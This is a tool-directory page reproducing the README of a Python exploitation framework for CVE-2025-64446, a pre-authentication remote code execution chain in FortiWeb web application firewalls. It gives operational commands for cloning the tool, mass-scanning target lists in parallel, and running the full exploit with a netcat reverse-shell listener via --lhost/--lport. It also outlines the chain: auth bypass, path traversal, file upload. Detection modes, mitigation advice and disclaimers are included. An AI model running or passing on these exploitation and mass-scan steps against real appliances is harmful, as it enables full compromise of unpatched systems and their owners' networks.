Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
FortiWeb-cve-2025-64446-RCE-exploit — Security research tool for FortiWeb CVE-2025-64446 vulnerability. Automated exploitation framework with advanced logging, real-time metrics, proxy debugging, and professional reporting. Includes retry logic, multi-threading, and configurable settings. For authorized security testing only. CVSS 9.8 Critical. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/fortiweb-cve-2025-64446-rce-exploit
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubcerberusmrxi/fortiweb-cve-2025-64446-rce-exploit

FortiWeb-cve-2025-64446-RCE-exploit

View Repository
121 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

Security research tool for FortiWeb CVE-2025-64446 vulnerability. Automated exploitation framework with advanced logging, real-time metrics, proxy debugging, and professional reporting. Includes retry logic, multi-threading, and configurable settings. For authorized security testing only. CVSS 9.8 Critical.

Share

FortiWeb CVE-2025-64446 RCE Exploit

Python License CVSS CVE Status Version

Professional security research & vulnerability assessment framework

Installation · Quick Start · Usage · Architecture · CLI Reference · Disclaimer


Overview

FortiWeb Research Tool is a Python assessment framework for authorized detection and analysis of CVE-2025-64446, a critical pre-authentication remote code execution issue affecting FortiWeb Web Application Firewall appliances.

AttributeDetail
AuthorSudeepa Wanigarathna
CVECVE-2025-64446
CVSS9.8 (Critical)
ClassAuthentication bypass + path traversal → arbitrary file upload → RCE
AffectedBuilds prior to 7.6.7 / 7.8.7 / 8.0.2 (verify against the official advisory)
RemediationUpgrade to a patched FortiWeb release
LanguagePython 3.7+
Entry pointexploit.py

Key capabilities

ModeFlag(s)Purpose
Detection--detect-onlyNon-exploitative vulnerability indicators
Safe / read-only--safe-modeSkip mutating exploit steps
Mass scan--targets + --scan-modeParallel multi-target assessment
Exploitation--target + --lhostControlled chain in authorized labs only
Dry run--dry-runExercise flow without applying changes
Reporting--output-dirJSON + HTML engagement reports

Vulnerability summary

FieldValue
CVE IDCVE-2025-64446
CVSS Score9.8 (Critical)
ImpactFull system compromise when successfully exploited
FixUpgrade to 7.6.7, 7.8.7, 8.0.2, or later

Always confirm affected/fixed versions against Fortinet PSIRT before engagement scoping.


📸 Screenshots

UsageScan Results
DashboardScan Results
Html Output
Terminal Output

Installation

root@kitploit:~
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit

python3 -m venv venv
source venv/bin/activate          # Linux / macOS
# venv\Scripts\activate           # Windows

pip install -r requirements.txt
python3 exploit.py --help

Dependencies

PackageRole
requests, urllib3HTTP client
rich, colorama, tqdmTerminal UI & progress
pyyamlconfig.yaml loading

Optional (dev): pytest, black, flake8, mypy, python-dotenv — see requirements.txt.


Quick start

root@kitploit:~
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only

# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode

# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10

# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444

Note: Exploitation mode requires --lhost. Use --detect-only or --safe-mode when you do not intend to run the full chain.


Usage guide

Detection mode

root@kitploit:~
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30

Detection evaluates reachability, version hints, API exposure, path-traversal indicators, auth-bypass signals, and upload-endpoint accessibility. Risk is classified as Critical / High / Medium / Low from those indicators.

Mass scanning

root@kitploit:~
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF

python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports

ScannerManager runs FortiWebScanner workers via a thread pool, prints a Rich summary table, and writes scan_report.json / scan_report.html.

Exploitation mode (authorized labs only)

root@kitploit:~
# Start your listener first (example)
nc -lvnp 4444

python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"

Configuration file

root@kitploit:~
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
root@kitploit:~
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999

CLI flags override values loaded from YAML.


Architecture

root@kitploit:~
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics   # dataclasses
├── LogManager                                       # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay                           # Rich / colorama UI
├── FortiWebScanner                                  # detect-only checks (no exploit chain)
├── ScannerManager                                   # threaded multi-target scans + reports
├── FortiWebExploit                                  # single-target detect / exploit workflow
└── main()                                           # argparse + mode dispatch
ComponentResponsibility
FortiWebScannerReachability, version, CVE indicator checks
ScannerManagerParallel scans, JSON/HTML rollups, summary table
FortiWebExploitConfig-driven session, retries, metrics, reports, optional exploit path
LogManagerStructured file logging + colored console

High-level single-target flow:

  1. Banner / logging setup
  2. Reachability & version probe
  3. Indicator checks (or full chain when not in detect/safe mode)
  4. JSON + HTML report under reports/
  5. Cleanup where applicable

Features

Detection

  • Path-traversal indicator checks against management API paths
  • Authentication-bypass signal checks
  • FortiWeb version probing across common status/version endpoints
  • API endpoint exposure mapping
  • File-upload endpoint accessibility checks
  • Risk scoring from combined indicators

Reporting & observability

  • Timestamped JSON and HTML reports
  • Per-request metrics (status, latency, success rate)
  • Separate logs: exploit.log, errors.log, requests.log

Operational controls

  • Multi-threaded mass scanning (--threads)
  • HTTP/HTTPS proxy support (e.g. Burp)
  • Retry with configurable attempts/delay (defaults: 3 / 2s)
  • Custom User-Agent, timeout, SSL verify toggle (--no-verify)
  • Colored console output via Colorama + Rich

Generated output

root@kitploit:~
reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html

logs/
├── exploit.log
├── errors.log
└── requests.log

Sample JSON report (detection)

root@kitploit:~
{
  "metadata": {
    "tool_name": "FortiWeb Research Tool",
    "version": "1.0",
    "author": "Sudeepa Wanigarathna",
    "timestamp": "2026-07-31T00:02:17",
    "mode": "detect"
  },
  "target": {
    "url": "https://192.168.1.100:8443",
    "reachable": true,
    "version": "7.6.0",
    "vulnerable": true,
    "risk_level": "Critical"
  },
  "metrics": {
    "total_requests": 12,
    "average_response_time": 0.42,
    "success_rate": 0.91
  }
}

Command reference

root@kitploit:~
python3 exploit.py [OPTIONS]
OptionDescription
--target URLSingle FortiWeb base URL
--targets FILENewline-separated target list
--lhost IPListener host (required for exploitation)
--lport PORTListener port (default: 4444)
--config FILEYAML configuration
--detect-onlyDetect only; skip exploit chain
--scan-modeMulti-target scan (needs --targets)
--safe-modeRead-only; skip mutating steps
--dry-runDry run without applying changes
--timeout SECRequest timeout (default: 15)
--threads NScan worker count (default: 5)
--proxy URLHTTP proxy
--user-agent STRCustom User-Agent
-v, --verboseVerbose logging / console
--no-verifyDisable TLS certificate verification
--output-dir DIRReport directory (default: reports)
--log-dir DIRLog directory (default: logs)
-h, --helpShow help

Project structure

root@kitploit:~
.
├── exploit.py           # Research tool (detect / scan / exploit)
├── config.yaml          # Example configuration
├── requirements.txt     # Python dependencies
├── reports/             # Generated JSON / HTML reports
├── logs/                # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md

Mitigation guidance

  1. Upgrade FortiWeb to a patched release (7.6.7+, 7.8.7+, 8.0.2+, or current PSIRT guidance).
  2. Restrict management interfaces to trusted networks / jump hosts.
  3. Monitor authentication and maintenance API activity for anomalous access.
  4. Rotate credentials and review integrity after any confirmed exposure.
  5. Re-run --detect-only / --safe-mode after patching to validate remediation.

Legal & ethical disclaimer

This tool is only for authorized security testing, research, and education.

  • Use only on systems you own or have explicit written permission to test
  • Follow responsible disclosure and bug-bounty program rules
  • Do not use for unauthorized access, harm, or illegal activity

By using this software you confirm that you have authorization, will not misuse it, and accept full liability for your actions. The author is not responsible for misuse.

See SECURITY.md for private vulnerability reporting related to this project.


Resources

  • Fortinet PSIRT
  • Advisory: FG-IR-25-64446
  • Patch downloads
  • NVD: CVE-2025-64446

Contributing

  1. Fork the repository
  2. Create a branch: git checkout -b feature/your-change
  3. Commit with a clear message
  4. Push and open a Pull Request

Please validate changes only in authorized lab environments and avoid committing live target data, cookies, or credentials.


License

MIT License — see LICENSE.

Copyright (c) 2026 Sudeepa Wanigarathna


Author & support

AuthorSudeepa Wanigarathna
IssuesGitHub Issues for this repository
SecuritySee SECURITY.md · [email protected]

Authorized research only · FortiWeb CVE-2025-64446

Back to top

Download Tool